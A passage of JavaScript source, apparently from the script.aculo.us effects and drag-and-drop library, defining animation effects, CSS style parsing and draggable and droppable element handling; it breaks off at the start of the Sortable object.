		Effect.DropOut = function(element) {
			element = $(element);
			var oldStyle = {
				top: Element.getStyle(element, "top"),
				left: Element.getStyle(element, "left"),
				opacity: Element.getInlineOpacity(element)
			};
			return new Effect.Parallel([new Effect.Move(element, {
				x: 0,
				y: 100,
				sync: true
			}), new Effect.Opacity(element, {
				sync: true,
				to: 0
			})], Object.extend({
				duration: 0.5,
				beforeSetup: function(effect) {
					Element.makePositioned(effect.effects[0].element);
				},
				afterFinishInternal: function(effect) {
					Element.setStyle(Element.undoPositioned(Element.hide(effect.effects[0].element)), oldStyle);
				}
			}, arguments[1] || {}));
		};
		Effect.Shake = function(element) {
			element = $(element);
			var options = Object.extend({
				distance: 20,
				duration: 0.5
			}, arguments[1] || {});
			var distance = parseFloat(options.distance);
			var split = parseFloat(options.duration) / 10;
			var oldStyle = {
				top: Element.getStyle(element, "top"),
				left: Element.getStyle(element, "left")
			};
			return new Effect.Move(element, {
				x: distance,
				y: 0,
				duration: split,
				afterFinishInternal: function(effect) {
					new Effect.Move(effect.element, {
						x: -distance * 2,
						y: 0,
						duration: split * 2,
						afterFinishInternal: function(effect) {
							new Effect.Move(effect.element, {
								x: distance * 2,
								y: 0,
								duration: split * 2,
								afterFinishInternal: function(effect) {
									new Effect.Move(effect.element, {
										x: -distance * 2,
										y: 0,
										duration: split * 2,
										afterFinishInternal: function(effect) {
											new Effect.Move(effect.element, {
												x: distance * 2,
												y: 0,
												duration: split * 2,
												afterFinishInternal: function(effect) {
													new Effect.Move(effect.element, {
														x: -distance,
														y: 0,
														duration: split,
														afterFinishInternal: function(effect) {
															Element.setStyle(Element.undoPositioned(effect.element), oldStyle);
														}
													});
												}
											});
										}
									});
								}
							});
						}
					});
				}
			});
		};
		Effect.SlideDown = function(element) {
			element = Element.cleanWhitespace($(element));
			var oldInnerBottom = Element.getStyle(Element.down(element), "bottom");
			var elementDimensions = Element.getDimensions(element);
			return new Effect.Scale(element, 100, Object.extend({
				scaleContent: false,
				scaleX: false,
				scaleFrom: window.opera ? 0 : 1,
				scaleMode: {
					originalHeight: elementDimensions.height,
					originalWidth: elementDimensions.width
				},
				restoreAfterFinish: true,
				afterSetup: function(effect) {
					Element.makePositioned(effect.element);
					Element.makePositioned(Element.down(effect.element));
					if (window.opera) {
						Element.setStyle(effect.element, {
							top: ""
						});
					}
					Element.show(Element.setStyle(Element.makeClipping(effect.element), {
						height: "0px"
					}));
				},
				afterUpdateInternal: function(effect) {
					Element.setStyle(Element.down(effect.element), {
						bottom: (effect.dims[0] - effect.element.clientHeight) + "px"
					});
				},
				afterFinishInternal: function(effect) {
					Element.undoPositioned(Element.undoClipping(effect.element));
					Element.setStyle(Element.undoPositioned(Element.down(effect.element)), {
						bottom: oldInnerBottom
					});
				}
			}, arguments[1] || {}));
		};
		Effect.SlideUp = function(element) {
			element = Element.cleanWhitespace($(element));
			var oldInnerBottom = Element.getStyle(Element.down(element), "bottom");
			var elementDimensions = Element.getDimensions(element);
			return new Effect.Scale(element, window.opera ? 0 : 1, Object.extend({
				scaleContent: false,
				scaleX: false,
				scaleMode: "box",
				scaleFrom: 100,
				scaleMode: {
					originalHeight: elementDimensions.height,
					originalWidth: elementDimensions.width
				},
				restoreAfterFinish: true,
				afterSetup: function(effect) {
					Element.makePositioned(effect.element);
					Element.makePositioned(Element.down(effect.element));
					if (window.opera) {
						Element.setStyle(effect.element, {
							top: ""
						});
					}
					Element.show(Element.makeClipping(effect.element));
				},
				afterUpdateInternal: function(effect) {
					Element.setStyle(Element.down(effect.element), {
						bottom: (effect.dims[0] - effect.element.clientHeight) + "px"
					});
				},
				afterFinishInternal: function(effect) {
					Element.undoPositioned(Element.undoClipping(Element.hide(effect.element)));
					Element.setStyle(Element.undoPositioned(Element.down(effect.element)), {
						bottom: oldInnerBottom
					});
				}
			}, arguments[1] || {}));
		};
		Effect.Squish = function(element) {
			return new Effect.Scale(element, window.opera ? 1 : 0, {
				restoreAfterFinish: true,
				beforeSetup: function(effect) {
					Element.makeClipping(effect.element);
				},
				afterFinishInternal: function(effect) {
					Element.undoClipping(Element.hide(effect.element));
				}
			});
		};
		Effect.Grow = function(element) {
			element = $(element);
			var options = Object.extend({
				direction: "center",
				moveTransition: Effect.Transitions.sinoidal,
				scaleTransition: Effect.Transitions.sinoidal,
				opacityTransition: Effect.Transitions.full
			}, arguments[1] || {});
			var oldStyle = {
				top: element.style.top,
				left: element.style.left,
				height: element.style.height,
				width: element.style.width,
				opacity: Element.getInlineOpacity(element)
			};
			var dims = Element.getDimensions(element);
			var initialMoveX, initialMoveY;
			var moveX, moveY;
			switch (options.direction) {
				case "top-left":
					initialMoveX = initialMoveY = moveX = moveY = 0;
					break;
				case "top-right":
					initialMoveX = dims.width;
					initialMoveY = moveY = 0;
					moveX = -dims.width;
					break;
				case "bottom-left":
					initialMoveX = moveX = 0;
					initialMoveY = dims.height;
					moveY = -dims.height;
					break;
				case "bottom-right":
					initialMoveX = dims.width;
					initialMoveY = dims.height;
					moveX = -dims.width;
					moveY = -dims.height;
					break;
				case "center":
					initialMoveX = dims.width / 2;
					initialMoveY = dims.height / 2;
					moveX = -dims.width / 2;
					moveY = -dims.height / 2;
					break;
			}
			return new Effect.Move(element, {
				x: initialMoveX,
				y: initialMoveY,
				duration: 0.01,
				beforeSetup: function(effect) {
					Element.makePositioned(Element.makeClipping(Element.hide(effect.element)));
				},
				afterFinishInternal: function(effect) {
					new Effect.Parallel([new Effect.Opacity(effect.element, {
						sync: true,
						to: 1,
						from: 0,
						transition: options.opacityTransition
					}), new Effect.Move(effect.element, {
						x: moveX,
						y: moveY,
						sync: true,
						transition: options.moveTransition
					}), new Effect.Scale(effect.element, 100, {
						scaleMode: {
							originalHeight: dims.height,
							originalWidth: dims.width
						},
						sync: true,
						scaleFrom: window.opera ? 1 : 0,
						transition: options.scaleTransition,
						restoreAfterFinish: true
					})], Object.extend({
						beforeSetup: function(effect) {
							Element.show(Element.setStyle(effect.effects[0].element, {
								height: "0px"
							}));
						},
						afterFinishInternal: function(effect) {
							Element.setStyle(Element.undoPositioned(Element.undoClipping(effect.effects[0].element)), oldStyle);
						}
					}, options));
				}
			});
		};
		Effect.Shrink = function(element) {
			element = $(element);
			var options = Object.extend({
				direction: "center",
				moveTransition: Effect.Transitions.sinoidal,
				scaleTransition: Effect.Transitions.sinoidal,
				opacityTransition: Effect.Transitions.none
			}, arguments[1] || {});
			var oldStyle = {
				top: element.style.top,
				left: element.style.left,
				height: element.style.height,
				width: element.style.width,
				opacity: Element.getInlineOpacity(element)
			};
			var dims = Element.getDimensions(element);
			var moveX, moveY;
			switch (options.direction) {
				case "top-left":
					moveX = moveY = 0;
					break;
				case "top-right":
					moveX = dims.width;
					moveY = 0;
					break;
				case "bottom-left":
					moveX = 0;
					moveY = dims.height;
					break;
				case "bottom-right":
					moveX = dims.width;
					moveY = dims.height;
					break;
				case "center":
					moveX = dims.width / 2;
					moveY = dims.height / 2;
					break;
			}
			return new Effect.Parallel([new Effect.Opacity(element, {
				sync: true,
				to: 0,
				from: 1,
				transition: options.opacityTransition
			}), new Effect.Scale(element, window.opera ? 1 : 0, {
				sync: true,
				transition: options.scaleTransition,
				restoreAfterFinish: true
			}), new Effect.Move(element, {
				x: moveX,
				y: moveY,
				sync: true,
				transition: options.moveTransition
			})], Object.extend({
				beforeStartInternal: function(effect) {
					Element.makeClipping(Element.makePositioned(effect.effects[0].element));
				},
				afterFinishInternal: function(effect) {
					Element.setStyle(Element.undoPositioned(Element.undoClipping(Element.hide(effect.effects[0].element))), oldStyle);
				}
			}, options));
		};
		Effect.Pulsate = function(element) {
			element = $(element);
			var options = arguments[1] || {}, oldOpacity = Element.getInlineOpacity(element),
				transition = options.transition || Effect.Transitions.linear,
				reverser = function(pos) {
					return 1 - transition((-Math.cos((pos * (options.pulses || 5) * 2) * Math.PI) / 2) + 0.5);
				};
			return new Effect.Opacity(element, Object.extend(Object.extend({
				duration: 2,
				from: 0,
				afterFinishInternal: function(effect) {
					Element.setStyle(effect.element, {
						opacity: oldOpacity
					});
				}
			}, options), {
				transition: reverser
			}));
		};
		Effect.Fold = function(element) {
			element = $(element);
			var oldStyle = {
				top: element.style.top,
				left: element.style.left,
				width: element.style.width,
				height: element.style.height
			};
			Element.makeClipping(element);
			return new Effect.Scale(element, 5, Object.extend({
				scaleContent: false,
				scaleX: false,
				afterFinishInternal: function(effect) {
					new Effect.Scale(element, 1, {
						scaleContent: false,
						scaleY: false,
						afterFinishInternal: function(effect) {
							Element.setStyle(Element.undoClipping(Element.hide(effect.element)), oldStyle);
						}
					});
				}
			}, arguments[1] || {}));
		};
		Effect.Morph = Class.create(Effect.Base, {
			initialize: function(element) {
				this.element = $(element);
				if (!this.element) {
					throw (Effect._elementDoesNotExistError);
				}
				var options = Object.extend({
					style: {}
				}, arguments[1] || {});
				if (!Object.isString(options.style)) {
					this.style = $H(options.style);
				} else {
					if (options.style.include(":")) {
						this.style = options.style.parseStyle();
					} else {
						Element.addClassName(this.element, options.style);
						this.style = $H(Element.getStyles(this.element));
						Element.removeClassName(this.element, options.style);
						var css = Element.getStyles(this.element);
						this.style = this.style.reject(function(style) {
							return style.value == css[style.key];
						});
						options.afterFinishInternal = function(effect) {
							Element.addClassName(effect.element, effect.options.style);
							effect.transforms.each(function(transform) {
								effect.element.style[transform.style] = "";
							});
						};
					}
				}
				this.start(options);
			},
			setup: function() {
				function parseColor(color) {
					if (!color || ["rgba(0, 0, 0, 0)", "transparent"].include(color)) {
						color = "#ffffff";
					}
					color = color.parseColor();
					return $R(0, 2).map(function(i) {
						return parseInt(color.slice(i * 2 + 1, i * 2 + 3), 16);
					});
				}
				this.transforms = this.style.map(function(pair) {
					var property = pair[0],
						value = pair[1],
						unit = null;
					if (value.parseColor("#zzzzzz") != "#zzzzzz") {
						value = value.parseColor();
						unit = "color";
					} else {
						if (property == "opacity") {
							value = parseFloat(value);
							if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout)) {
								Element.setStyle(this.element, {
									zoom: 1
								});
							}
						} else {
							if (Element.CSS_LENGTH.test(value)) {
								var components = value.match(/^([\+\-]?[0-9\.]+)(.*)$/);
								value = parseFloat(components[1]);
								unit = (components.length == 3) ? components[2] : null;
							}
						}
					}
					var originalValue = Element.getStyle(this.element, property);
					return {
						style: property.camelize(),
						originalValue: unit == "color" ? parseColor(originalValue) : parseFloat(originalValue || 0),
						targetValue: unit == "color" ? parseColor(value) : value,
						unit: unit
					};
				}.bind(this)).reject(function(transform) {
					return ((transform.originalValue == transform.targetValue) || (transform.unit != "color" && (isNaN(transform.originalValue) || isNaN(transform.targetValue))));
				});
			},
			update: function(position) {
				var style = {}, transform, i = this.transforms.length;
				while (i--) {
					style[(transform = this.transforms[i]).style] = transform.unit == "color" ? "#" + (Math.round(transform.originalValue[0] + (transform.targetValue[0] - transform.originalValue[0]) * position)).toColorPart() + (Math.round(transform.originalValue[1] + (transform.targetValue[1] - transform.originalValue[1]) * position)).toColorPart() + (Math.round(transform.originalValue[2] + (transform.targetValue[2] - transform.originalValue[2]) * position)).toColorPart() : (transform.originalValue + (transform.targetValue - transform.originalValue) * position).toFixed(3) + (transform.unit === null ? "" : transform.unit);
				}
				Element.setStyle(this.element, style, true);
			}
		});
		Effect.Transform = Class.create({
			initialize: function(tracks) {
				this.tracks = [];
				this.options = arguments[1] || {};
				this.addTracks(tracks);
			},
			addTracks: function(tracks) {
				tracks.each(function(track) {
					track = $H(track);
					var data = track.values().first();
					this.tracks.push($H({
						ids: track.keys().first(),
						effect: Effect.Morph,
						options: {
							style: data
						}
					}));
				}.bind(this));
				return this;
			},
			play: function() {
				return new Effect.Parallel(this.tracks.map(function(track) {
					var ids = track.get("ids"),
						effect = track.get("effect"),
						options = track.get("options");
					var elements = [$(ids) || $$(ids)].flatten();
					return elements.map(function(e) {
						return new effect(e, Object.extend({
							sync: true
						}, options));
					});
				}).flatten(), this.options);
			}
		});
		Element.CSS_PROPERTIES = $w("backgroundColor backgroundPosition borderBottomColor borderBottomStyle " + "borderBottomWidth borderLeftColor borderLeftStyle borderLeftWidth " + "borderRightColor borderRightStyle borderRightWidth borderSpacing " + "borderTopColor borderTopStyle borderTopWidth bottom clip color " + "fontSize fontWeight height left letterSpacing lineHeight " + "marginBottom marginLeft marginRight marginTop markerOffset maxHeight " + "maxWidth minHeight minWidth opacity outlineColor outlineOffset " + "outlineWidth paddingBottom paddingLeft paddingRight paddingTop " + "right textIndent top width wordSpacing zIndex");
		Element.CSS_LENGTH = /^(([\+\-]?[0-9\.]+)(em|ex|px|in|cm|mm|pt|pc|\%))|0$/;
		String.__parseStyleElement = document.createElement("div");
		String.prototype.parseStyle = function() {
			var style, styleRules = $H();
			if (Prototype.Browser.WebKit) {
				style = new Element("div", {
					style: this
				}).style;
			} else {
				String.__parseStyleElement.innerHTML = '<div style="' + this + '"></div>';
				style = String.__parseStyleElement.childNodes[0].style;
			}
			Element.CSS_PROPERTIES.each(function(property) {
				if (style[property]) {
					styleRules.set(property, style[property]);
				}
			});
			if (Prototype.Browser.IE && this.include("opacity")) {
				styleRules.set("opacity", this.match(/opacity:\s*((?:0|1)?(?:\.\d*)?)/)[1]);
			}
			return styleRules;
		};
		if (document.defaultView && document.defaultView.getComputedStyle) {
			Element.getStyles = function(element) {
				var css = document.defaultView.getComputedStyle($(element), null);
				return Element.CSS_PROPERTIES.inject({}, function(styles, property) {
					styles[property] = css[property];
					return styles;
				});
			};
		} else {
			Element.getStyles = function(element) {
				element = $(element);
				var css = element.currentStyle,
					styles;
				styles = Element.CSS_PROPERTIES.inject({}, function(results, property) {
					results[property] = css[property];
					return results;
				});
				if (!styles.opacity) {
					styles.opacity = Element.getOpacity(element);
				}
				return styles;
			};
		}
		Effect.Methods = {
			morph: function(element, style) {
				element = $(element);
				new Effect.Morph(element, Object.extend({
					style: style
				}, arguments[2] || {}));
				return element;
			},
			visualEffect: function(element, effect, options) {
				element = $(element);
				var s = effect.dasherize().camelize(),
					klass = s.charAt(0).toUpperCase() + s.substring(1);
				new Effect[klass](element, options);
				return element;
			},
			highlight: function(element, options) {
				element = $(element);
				new Effect.Highlight(element, options);
				return element;
			}
		};
		$w("fade appear grow shrink fold blindUp blindDown slideUp slideDown " + "pulsate shake puff squish switchOff dropOut").each(function(effect) {
			Effect.Methods[effect] = function(element, options) {
				element = $(element);
				Effect[effect.charAt(0).toUpperCase() + effect.substring(1)](element, options);
				return element;
			};
		});
		$w("getInlineOpacity forceRerendering setContentZoom collectTextNodes collectTextNodesIgnoreClass getStyles").each(function(f) {
			Effect.Methods[f] = Element[f];
		});
		Element.addMethods(Effect.Methods);
		if (Object.isUndefined(Effect)) {
			throw ("dragdrop.js requires including script.aculo.us' effects.js library");
		}
		var Droppables = {
			drops: [],
			remove: function(element) {
				this.drops = this.drops.reject(function(d) {
					return d.element == $(element);
				});
			},
			add: function(element) {
				element = $(element);
				var options = Object.extend({
					greedy: true,
					hoverclass: null,
					tree: false
				}, arguments[1] || {});
				if (options.containment) {
					options._containers = [];
					var containment = options.containment;
					if (Object.isArray(containment)) {
						containment.each(function(c) {
							options._containers.push($(c));
						});
					} else {
						options._containers.push($(containment));
					}
				}
				if (options.accept) {
					options.accept = [options.accept].flatten();
				}
				Element.makePositioned(element);
				options.element = element;
				this.drops.push(options);
			},
			findDeepestChild: function(drops) {
				deepest = drops[0];
				for (i = 1; i < drops.length; ++i) {
					if (Element.isParent(drops[i].element, deepest.element)) {
						deepest = drops[i];
					}
				}
				return deepest;
			},
			isContained: function(element, drop) {
				var containmentNode;
				if (drop.tree) {
					containmentNode = element.treeNode;
				} else {
					containmentNode = element.parentNode;
				}
				return drop._containers.detect(function(c) {
					return containmentNode == c;
				});
			},
			isAffected: function(point, element, drop) {
				return ((drop.element != element) && ((!drop._containers) || this.isContained(element, drop)) && ((!drop.accept) || (Element.classNames(element).detect(function(v) {
					return drop.accept.include(v);
				}))) && Element.within(drop.element, point[0], point[1]));
			},
			deactivate: function(drop) {
				if (drop.hoverclass) {
					Element.removeClassName(drop.element, drop.hoverclass);
				}
				this.last_active = null;
			},
			activate: function(drop) {
				if (drop.hoverclass) {
					Element.addClassName(drop.element, drop.hoverclass);
				}
				this.last_active = drop;
			},
			show: function(point, element) {
				if (!this.drops.length) {
					return;
				}
				var drop, affected = [];
				this.drops.each(function(drop) {
					if (Droppables.isAffected(point, element, drop)) {
						affected.push(drop);
					}
				});
				if (affected.length > 0) {
					drop = Droppables.findDeepestChild(affected);
				}
				if (this.last_active && this.last_active != drop) {
					this.deactivate(this.last_active);
				}
				if (drop) {
					Element.within(drop.element, point[0], point[1]);
					if (drop.onHover) {
						drop.onHover(element, drop.element, Element.overlap(drop.overlap, drop.element));
					}
					if (drop != this.last_active) {
						Droppables.activate(drop);
					}
				}
			},
			fire: function(event, element) {
				if (!this.last_active) {
					return;
				}
				if (this.isAffected([Event.pointerX(event), Event.pointerY(event)], element, this.last_active)) {
					if (this.last_active.onDrop) {
						this.last_active.onDrop(element, this.last_active.element, event);
						return true;
					}
				}
			},
			reset: function() {
				if (this.last_active) {
					this.deactivate(this.last_active);
				}
			}
		};
		var Draggables = {
			drags: [],
			observers: [],
			register: function(draggable) {
				if (this.drags.length == 0) {
					this.eventMouseUp = this.endDrag.bindAsEventListener(this);
					this.eventMouseMove = this.updateDrag.bindAsEventListener(this);
					this.eventKeypress = this.keyPress.bindAsEventListener(this);
					Event.observe(document, "mouseup", this.eventMouseUp);
					Event.observe(document, "mousemove", this.eventMouseMove);
					Event.observe(document, "keypress", this.eventKeypress);
				}
				this.drags.push(draggable);
			},
			unregister: function(draggable) {
				this.drags = this.drags.reject(function(d) {
					return d == draggable;
				});
				if (this.drags.length == 0) {
					Event.stopObserving(document, "mouseup", this.eventMouseUp);
					Event.stopObserving(document, "mousemove", this.eventMouseMove);
					Event.stopObserving(document, "keypress", this.eventKeypress);
				}
			},
			activate: function(draggable) {
				if (draggable.options.delay) {
					this._timeout = setTimeout(function() {
						Draggables._timeout = null;
						window.focus();
						Draggables.activeDraggable = draggable;
					}.bind(this), draggable.options.delay);
				} else {
					window.focus();
					this.activeDraggable = draggable;
				}
			},
			deactivate: function() {
				this.activeDraggable = null;
			},
			updateDrag: function(event) {
				if (!this.activeDraggable) {
					return;
				}
				var pointer = [Event.pointerX(event), Event.pointerY(event)];
				if (this._lastPointer && (this._lastPointer.inspect() == pointer.inspect())) {
					return;
				}
				this._lastPointer = pointer;
				this.activeDraggable.updateDrag(event, pointer);
			},
			endDrag: function(event) {
				if (this._timeout) {
					clearTimeout(this._timeout);
					this._timeout = null;
				}
				if (!this.activeDraggable) {
					return;
				}
				this._lastPointer = null;
				this.activeDraggable.endDrag(event);
				this.activeDraggable = null;
			},
			keyPress: function(event) {
				if (this.activeDraggable) {
					this.activeDraggable.keyPress(event);
				}
			},
			addObserver: function(observer) {
				this.observers.push(observer);
				this._cacheObserverCallbacks();
			},
			removeObserver: function(element) {
				this.observers = this.observers.reject(function(o) {
					return o.element == element;
				});
				this._cacheObserverCallbacks();
			},
			notify: function(eventName, draggable, event) {
				if (this[eventName + "Count"] > 0) {
					this.observers.each(function(o) {
						if (o[eventName]) {
							o[eventName](eventName, draggable, event);
						}
					});
				}
				if (draggable.options[eventName]) {
					draggable.options[eventName](draggable, event);
				}
			},
			_cacheObserverCallbacks: function() {
				["onStart", "onEnd", "onDrag"].each(function(eventName) {
					Draggables[eventName + "Count"] = Draggables.observers.select(function(o) {
						return o[eventName];
					}).length;
				});
			}
		};
		var Draggable = Class.create({
			initialize: function(element) {
				var defaults = {
					handle: false,
					reverteffect: function(element, top_offset, left_offset) {
						var dur = Math.sqrt(Math.abs(top_offset ^ 2) + Math.abs(left_offset ^ 2)) * 0.02;
						new Effect.Move(element, {
							x: -left_offset,
							y: -top_offset,
							duration: dur,
							queue: {
								scope: "_draggable",
								position: "end"
							}
						});
					},
					endeffect: function(element) {
						var toOpacity = Object.isNumber(element._opacity) ? element._opacity : 1;
						new Effect.Opacity(element, {
							duration: 0.2,
							from: 0.7,
							to: toOpacity,
							queue: {
								scope: "_draggable",
								position: "end"
							},
							afterFinish: function() {
								Draggable._dragging[element] = false;
							}
						});
					},
					zindex: 1000,
					revert: false,
					quiet: false,
					scroll: false,
					scrollSensitivity: 20,
					scrollSpeed: 15,
					snap: false,
					delay: 0
				};
				if (!arguments[1] || Object.isUndefined(arguments[1].endeffect)) {
					Object.extend(defaults, {
						starteffect: function(element) {
							element._opacity = Element.getOpacity(element);
							Draggable._dragging[element] = true;
							new Effect.Opacity(element, {
								duration: 0.2,
								from: element._opacity,
								to: 0.7
							});
						}
					});
				}
				var options = Object.extend(defaults, arguments[1] || {});
				this.element = $(element);
				if (options.handle && Object.isString(options.handle)) {
					this.handle = Element.down(this.element, "." + options.handle, 0);
				}
				if (!this.handle) {
					this.handle = $(options.handle);
				}
				if (!this.handle) {
					this.handle = this.element;
				}
				if (options.scroll && !options.scroll.scrollTo && !options.scroll.outerHTML) {
					options.scroll = $(options.scroll);
					this._isScrollChild = Element.childOf(this.element, options.scroll);
				}
				Element.makePositioned(this.element);
				this.options = options;
				this.dragging = false;
				this.eventMouseDown = this.initDrag.bindAsEventListener(this);
				Event.observe(this.handle, "mousedown", this.eventMouseDown);
				Draggables.register(this);
			},
			destroy: function() {
				Event.stopObserving(this.handle, "mousedown", this.eventMouseDown);
				Draggables.unregister(this);
			},
			currentDelta: function() {
				var offset = Element.cumulativeOffset(this.element);
				return ([offset.left, offset.top]);
			},
			initDrag: function(event) {
				if (!Object.isUndefined(Draggable._dragging[this.element]) && Draggable._dragging[this.element]) {
					return;
				}
				if (Event.isLeftClick(event)) {
					var src = Event.element(event);
					if ((tag_name = src.tagName.toUpperCase()) && (tag_name == "INPUT" || tag_name == "SELECT" || tag_name == "OPTION" || tag_name == "BUTTON" || tag_name == "TEXTAREA")) {
						return;
					}
					var pointer = [Event.pointerX(event), Event.pointerY(event)];
					var pos = Element.cumulativeOffset(this.element);
					this.offset = [0, 1].map(function(i) {
						return (pointer[i] - pos[i]);
					});
					Draggables.activate(this);
					Event.stop(event);
				}
			},
			startDrag: function(event) {
				this.dragging = true;
				if (!this.delta) {
					this.delta = this.currentDelta();
				}
				if (this.options.zindex) {
					this.originalZ = parseInt(Element.getStyle(this.element, "z-index") || 0);
					this.element.style.zIndex = this.options.zindex;
				}
				if (this.options.ghosting) {
					this._clone = this.element.cloneNode(true);
					this._originallyAbsolute = (Element.getStyle(this.element, "position") == "absolute");
					if (!this._originallyAbsolute) {
						Element.absolutize(this.element);
					}
					this.element.parentNode.insertBefore(this._clone, this.element);
				}
				if (this.options.scroll) {
					if (this.options.scroll == window) {
						var where = this._getWindowScroll(this.options.scroll);
						this.originalScrollLeft = where.left;
						this.originalScrollTop = where.top;
					} else {
						this.originalScrollLeft = this.options.scroll.scrollLeft;
						this.originalScrollTop = this.options.scroll.scrollTop;
					}
				}
				Draggables.notify("onStart", this, event);
				if (this.options.starteffect) {
					this.options.starteffect(this.element);
				}
			},
			updateDrag: function(event, pointer) {
				if (!this.dragging) {
					this.startDrag(event);
				}
				if (!this.options.quiet) {
					Droppables.show(pointer, this.element);
				}
				Draggables.notify("onDrag", this, event);
				this.draw(pointer);
				if (this.options.change) {
					this.options.change(this);
				}
				if (this.options.scroll) {
					this.stopScrolling();
					var p;
					if (this.options.scroll == window) {
						with(this._getWindowScroll(this.options.scroll)) {
							p = [left, top, left + width, top + height];
						}
					} else {
						p = Element.page(this.options.scroll).toArray();
						p[0] += this.options.scroll.scrollLeft + Element.deltaX;
						p[1] += this.options.scroll.scrollTop + Element.deltaY;
						p.push(p[0] + this.options.scroll.offsetWidth);
						p.push(p[1] + this.options.scroll.offsetHeight);
					}
					var speed = [0, 0];
					if (pointer[0] < (p[0] + this.options.scrollSensitivity)) {
						speed[0] = pointer[0] - (p[0] + this.options.scrollSensitivity);
					}
					if (pointer[1] < (p[1] + this.options.scrollSensitivity)) {
						speed[1] = pointer[1] - (p[1] + this.options.scrollSensitivity);
					}
					if (pointer[0] > (p[2] - this.options.scrollSensitivity)) {
						speed[0] = pointer[0] - (p[2] - this.options.scrollSensitivity);
					}
					if (pointer[1] > (p[3] - this.options.scrollSensitivity)) {
						speed[1] = pointer[1] - (p[3] - this.options.scrollSensitivity);
					}
					this.startScrolling(speed);
				}
				if (Prototype.Browser.WebKit) {
					window.scrollBy(0, 0);
				}
				Event.stop(event);
			},
			finishDrag: function(event, success) {
				this.dragging = false;
				if (this.options.quiet) {
					var pointer = [Event.pointerX(event), Event.pointerY(event)];
					Droppables.show(pointer, this.element);
				}
				if (this.options.ghosting) {
					if (!this._originallyAbsolute) {
						Element.relativize(this.element);
					}
					delete this._originallyAbsolute;
					Element.remove(this._clone);
					this._clone = null;
				}
				var dropped = false;
				if (success) {
					dropped = Droppables.fire(event, this.element);
					if (!dropped) {
						dropped = false;
					}
				}
				if (dropped && this.options.onDropped) {
					this.options.onDropped(this.element);
				}
				Draggables.notify("onEnd", this, event);
				var revert = this.options.revert;
				if (revert && Object.isFunction(revert)) {
					revert = revert(this.element);
				}
				var d = this.currentDelta();
				if (revert && this.options.reverteffect) {
					if (dropped == 0 || revert != "failure") {
						this.options.reverteffect(this.element, d[1] - this.delta[1], d[0] - this.delta[0]);
					}
				} else {
					this.delta = d;
				} if (this.options.zindex) {
					this.element.style.zIndex = this.originalZ;
				}
				if (this.options.endeffect) {
					this.options.endeffect(this.element);
				}
				Draggables.deactivate(this);
				Droppables.reset();
			},
			keyPress: function(event) {
				if (event.keyCode != Event.KEY_ESC) {
					return;
				}
				this.finishDrag(event, false);
				Event.stop(event);
			},
			endDrag: function(event) {
				if (!this.dragging) {
					return;
				}
				this.stopScrolling();
				this.finishDrag(event, true);
				Event.stop(event);
			},
			draw: function(point) {
				var pos = Element.cumulativeOffset(this.element);
				if (this.options.ghosting) {
					var r = Element.realOffset(this.element);
					pos[0] += r[0] - Element.deltaX;
					pos[1] += r[1] - Element.deltaY;
				}
				var d = this.currentDelta();
				pos[0] -= d[0];
				pos[1] -= d[1];
				if (this.options.scroll && (this.options.scroll != window && this._isScrollChild)) {
					pos[0] -= this.options.scroll.scrollLeft - this.originalScrollLeft;
					pos[1] -= this.options.scroll.scrollTop - this.originalScrollTop;
				}
				var p = [0, 1].map(function(i) {
					return (point[i] - pos[i] - this.offset[i]);
				}.bind(this));
				if (this.options.snap) {
					if (Object.isFunction(this.options.snap)) {
						p = this.options.snap(p[0], p[1], this);
					} else {
						if (Object.isArray(this.options.snap)) {
							p = p.map(function(v, i) {
								return (v / this.options.snap[i]).round() * this.options.snap[i];
							}.bind(this));
						} else {
							p = p.map(function(v) {
								return (v / this.options.snap).round() * this.options.snap;
							}.bind(this));
						}
					}
				}
				var style = this.element.style;
				if ((!this.options.constraint) || (this.options.constraint == "horizontal")) {
					style.left = p[0] + "px";
				}
				if ((!this.options.constraint) || (this.options.constraint == "vertical")) {
					style.top = p[1] + "px";
				}
				if (style.visibility == "hidden") {
					style.visibility = "";
				}
			},
			stopScrolling: function() {
				if (this.scrollInterval) {
					clearInterval(this.scrollInterval);
					this.scrollInterval = null;
					Draggables._lastScrollPointer = null;
				}
			},
			startScrolling: function(speed) {
				if (!(speed[0] || speed[1])) {
					return;
				}
				this.scrollSpeed = [speed[0] * this.options.scrollSpeed, speed[1] * this.options.scrollSpeed];
				this.lastScrolled = new Date();
				this.scrollInterval = setInterval(this.scroll.bind(this), 10);
			},
			scroll: function() {
				var current = new Date();
				var delta = current - this.lastScrolled;
				this.lastScrolled = current;
				if (this.options.scroll == window) {
					with(this._getWindowScroll(this.options.scroll)) {
						if (this.scrollSpeed[0] || this.scrollSpeed[1]) {
							var d = delta / 1000;
							this.options.scroll.scrollTo(left + d * this.scrollSpeed[0], top + d * this.scrollSpeed[1]);
						}
					}
				} else {
					this.options.scroll.scrollLeft += this.scrollSpeed[0] * delta / 1000;
					this.options.scroll.scrollTop += this.scrollSpeed[1] * delta / 1000;
				}
				Droppables.show(Draggables._lastPointer, this.element);
				Draggables.notify("onDrag", this);
				if (this._isScrollChild) {
					Draggables._lastScrollPointer = Draggables._lastScrollPointer || $A(Draggables._lastPointer);
					Draggables._lastScrollPointer[0] += this.scrollSpeed[0] * delta / 1000;
					Draggables._lastScrollPointer[1] += this.scrollSpeed[1] * delta / 1000;
					if (Draggables._lastScrollPointer[0] < 0) {
						Draggables._lastScrollPointer[0] = 0;
					}
					if (Draggables._lastScrollPointer[1] < 0) {
						Draggables._lastScrollPointer[1] = 0;
					}
					this.draw(Draggables._lastScrollPointer);
				}
				if (this.options.change) {
					this.options.change(this);
				}
			},
			_getWindowScroll: function(w) {
				var T, L, W, H;
				with(w.document) {
					if (w.document.documentElement && documentElement.scrollTop) {
						T = documentElement.scrollTop;
						L = documentElement.scrollLeft;
					} else {
						if (w.document.body) {
							T = body.scrollTop;
							L = body.scrollLeft;
						}
					} if (w.innerWidth) {
						W = w.innerWidth;
						H = w.innerHeight;
					} else {
						if (w.document.documentElement && documentElement.clientWidth) {
							W = documentElement.clientWidth;
							H = documentElement.clientHeight;
						} else {
							W = body.offsetWidth;
							H = body.offsetHeight;
						}
					}
				}
				return {
					top: T,
					left: L,
					width: W,
					height: H
				};
			}
		});
		Draggable._dragging = {};
		/*----------------------------------------------------------------------------*/
		var SortableObserver = Class.create({
			initialize: function(element, observer) {
				this.element = $(element);
				this.observer = observer;
				this.lastValue = Sortable.serialize(this.element);
			},
			onStart: function() {
				this.lastValue = Sortable.serialize(this.element);
			},
			onEnd: function() {
				Sortable.unmark();
				if (this.lastValue != Sortable.serialize(this.element)) {
					this.observer(this.element);
				}
			}
		});
		var Sortable = {
